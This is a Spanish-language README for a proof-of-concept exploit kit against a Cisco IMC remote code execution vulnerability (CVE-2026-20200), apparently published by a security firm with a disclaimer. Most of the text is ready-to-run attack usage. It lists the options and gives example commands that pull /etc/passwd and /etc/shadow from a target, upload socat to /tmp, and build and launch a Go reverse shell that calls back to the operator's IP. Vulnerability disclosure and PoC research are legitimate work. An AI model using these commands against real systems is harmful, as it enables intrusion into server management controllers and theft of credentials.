
Kit de herramientas PoC para explotar la vulnerabilidad RCE de Cisco IMC CVE-2026-20200
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Aviso: NSIDE-SA-2026-003
Entrada del blog: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
Esta prueba de concepto es únicamente con fines de demostración y no está permitido su uso para actividades ilegales. NSIDE ATTACK LOGIC no se hace responsable de ningún daño causado por el uso o mal uso de este código.
Este exploit permite descargar archivos, subir archivos y generar una reverse shell. Contiene varios archivos de Python del PoC, una carpeta shell y una carpeta download.
En la carpeta download se colocan todos los archivos que se descargan del servidor, con su nombre (p. ej., /etc/passwd > passwd).
La carpeta shell contiene todo lo necesario para una reverse shell. El archivo lib.so es una pequeña librería, compilada para ARM, para simplemente ejecutar el binario en el IMC en /tmp/main. El comando exacto utilizado para compilarla se encuentra en util.py. Además, en la carpeta se encuentra un reverse_shell.go.example, una pequeña reverse shell en Go, que debe compilarse previamente para incluir tu IP local, utilizada para la reverse shell.
Para que la reverse shell funcione, primero tienes que compilarla con la acción -a build.
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
¡Recuerda que la U y la P van en mayúscula para el usuario y la contraseña!
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell